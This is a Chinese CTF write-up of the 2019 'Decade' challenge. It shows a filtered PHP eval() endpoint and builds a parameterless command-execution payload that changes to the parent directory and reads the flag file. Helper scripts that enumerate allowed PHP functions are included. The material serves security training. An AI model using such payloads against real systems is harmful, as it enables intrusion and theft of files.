简介

 原题复现:

 考察知识点:无参数命令执行、Fuzz

 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题

环境复现

代码
<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if (!empty($code)) {
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
else {
echo "No way!!!";
}
}else {
echo "No way!!!";
}
flag在上层目录的index.php中
 

审计分析

看看正则过滤
可以通过https://regex101.com/%60 测试正则  验证正则不限制什么 
 
这块过滤了很多的php函数 可以采用下面方法来获得没被过滤的php内置函数
 
 获取PHP内置函数脚本  
<?php
$a = get_defined_functions()['internal'];
$file = fopen("function.txt","w+");
foreach ($a as $key ) {
echo fputs($file,$key."\r\n");
}
fclose($file);
?>
查找能使用的函数脚本
import re
f = open('function.txt','r')
for i in f:
function = re.findall(r'/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/',i)
if function == [] and not '_' in i:
print(i)

方法一:条件竞争

构造payload
这道题flag在上层的目录下的index.php  所谓得跳到上层目录读取index.php  所以我们得先构造如何调到上册目录的payload 也就是scandir('..')  如何构造呢?可以使用uniqid()函数 它能够生成动态字符串,他的牵绊部分是固定的,后半部分是动态变化的 我们可以使用strrev()函数反转一下字符串  然后就可以使用插入函数动态的构造任意字符 不过它只能生成一个. 再加上scandir()函数就可以返回当前目录下的文件 如何让他里面有两个..呢?
scandir(strrev(uniqid()));
可以在linux特性中我们查看当前文件他会返回 .  .. 文件A  所以我们要用next指定下一个也就是  ..可以构造后我们也就可以构造返回到上册目录了 
scandir(next(scandir(strrev(uniqid())))));
如何将上册目录输出在页面 因为scandir()返回的是目录的数组,本来使用var_dump输出但是被过滤了 用echo输出不了 这时可以使用implode将数组元素组成为字符串用echo输出这样构造的payload
echo(implode(scandir(next(scandir(chr(strrev(uniqid())))))));
使用Null payloads进行读取
现在想办法读取index
readfile被过滤了。。。
if 也不行
可以使用file来读取 用end获取scandir返回的最后一个元素也就是index.php
我们先使用chdir跳转到上一层目录
payload
chdir(next(scandir(chr(strrev(uniqid())))));
然后使用file函数读取文件 用end取得最后一个元素然后用file读取
file(end(scandir(chr(strrev(uniqid())))))
结合起来最终payload
echo(implode(file(end(scandir(chr(strrev(uniqid(chdir(next(scandir(chr(strrev(uniqid())))))))))))));
这个payload缺陷就是 要两边都为. 才行 null payload 运气不好近9万次才得到。。。。
 
用到的php函数(部分)
uniqid() 生成唯一一个ID
strrev() — 反转字符串
implode(separator,array)-把数组元素组成为字符串
separator-可选。规定数组元素之间放置的内容 默认""
array-必须,需要组合为字符串的数组
next()-函数将内部指针指向数组中的下一个元素,并输出。
chr() 函数从指定的 ASCII 值返回字符。
file() 函数把整个文件读入一个数组中。
end — 将数组的内部指针指向最后一个单元
chdir() — 改变目录

参考学习引用:https://xz.aliyun.com/t/6737

方法二:利用三角函数来计算

https://blog.csdn.net/qq_40884727/article/details/102924492

http://blog.sina.com.cn/s/blog_a661ecd501012xsr.html

[原题复现]2019上海大学生WEB-Decade(无参数RCE、Fuzz)的更多相关文章

  1. [原题复现]2018护网杯(WEB)easy_tornado(模板注入)

    简介 原题复现:  考察知识点:模板注入  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 [护网杯 2018]eas ...

  2. [原题复现+审计][BUUCTF 2018]WEB Online Tool(escapeshellarg和escapeshellcmd使用不当导致rce)

    简介  原题复现:https://github.com/glzjin/buuctf_2018_online_tool (环境php5.6.40)  考察知识点:escapeshellarg和escap ...

  3. [原题复现+审计][0CTF 2016] WEB piapiapia(反序列化、数组绕过)[改变序列化长度,导致反序列化漏洞]

    简介  原题复现:  考察知识点:反序列化.数组绕过  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 漏洞学习 数组 ...

  4. [原题复现]2019强网杯WEB-随便注(多种方法)

    简介 原题复现:https://gitee.com/xiaohua1998/qwb_2019_supersqli  考察知识点:SQL注入漏洞-堆叠注入  线上平台:https://buuoj.cn( ...

  5. [原题复现]ByteCTF 2019 –WEB- Boring-Code[无参数rce、绕过filter_var(),等]

    简介  原题复现:  考察知识点:无参数命令执行.绕过filter_var(), preg_match()  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使 ...

  6. [原题复现+审计][SUCTF 2019] WEB CheckIn(上传绕过、.user.ini)

    简介  原题复现:https://github.com/team-su/SUCTF-2019/tree/master/Web/checkIn  考察知识点:上传绕过..user.ini  线上平台:h ...

  7. [原题复现+审计][ZJCTF 2019] WEB NiZhuanSiWei(反序列化、PHP伪协议、数组绕过)

    简介  原题复现:https://github.com/CTFTraining/zjctf_2019_final_web_nizhuansiwei/  考察知识点:反序列化.PHP伪协议.数组绕过   ...

  8. [原题复现]强网杯 2019 WEB高明的黑客

    简介  原题复现:  考察知识点:python代码编写能力...  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 简 ...

  9. [原题复现]SUCTF 2019 WEB EasySQL(堆叠注入)

    简介  原题复现: 1 <?php 2 session_start(); 3 4 include_once "config.php"; 5 6 $post = array() ...

随机推荐

  1. C++ Primer第5版 第一章课后练习

    练习1.9 #include <iostream> int main() { int sum = 0, val = 50; while (val <= 100) { sum += v ...

  2. Linux用户和组管理命令-用户属性修改usermod

    用户属性修改 usermod 命令可以修改用户属性 格式: usermod [OPTION] login 常见选项: -u UID: 新UID -g GID: 新主组 -G GROUP1[,GROUP ...

  3. Anderson《空气动力学基础》5th读书笔记导航

    没错,在2018年,我正式启程了安德森教授这本空气动力学圣经的阅读,为了深入理解概念,特写此刊,边读边写,2020年一定写完,写不完我就/¥@%¥---! 以下是导航: 第一章任务图: 第一章思维导图 ...

  4. okhttp的Post方式

    发送post请求 public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bun ...

  5. Redis的一些问题

    date: 2020-10-15 10:58:00 updated: 2020-10-19 18:00:00 Redis的一些问题 Remote Dictionary Server 底层C写的 类似于 ...

  6. 一、ETL实践之数据可视化架构

    开篇心声: 不管是学习新知识,还是遇到各种难题,总能在技术论坛找到经验帖子.一直享受大家提供的帮助,而自己没有任何输出,实在过意不去.我相信技术是经验的交流,思维的碰撞. 这是我一次写技术分享文章,我 ...

  7. Hadoop框架:HDFS高可用环境配置

    本文源码:GitHub·点这里 || GitEE·点这里 一.HDFS高可用 1.基础描述 在单点或者少数节点故障的情况下,集群还可以正常的提供服务,HDFS高可用机制可以通过配置Active/Sta ...

  8. 《Google软件测试之道》 第一章google软件测试介绍

    前段时间比较迷茫,没有明确的学习方向和内容.不过有一点应该是可以肯定的:迷茫的时候就把空闲的时间用来看书吧! 这本书,目前只是比较粗略的看了一遍,感触很大.以下是个人所作的笔记,与原文会有出入的地方. ...

  9. (C#2,.net framework2.0,Visual Studio 2003)之前版本

    (C#2,.net framework2.0,Visual Studio 2003)之前版本归为最初的版本(主要是针对.net framework),其主要定义了最基本的类型.特性. 1.基本的类型 ...

  10. C++语言学习之STL 的组成

    STL有三大核心部分:容器(Container).算法(Algorithms).迭代器(Iterator),容器适配器(container adaptor),函数对象(functor),除此之外还有S ...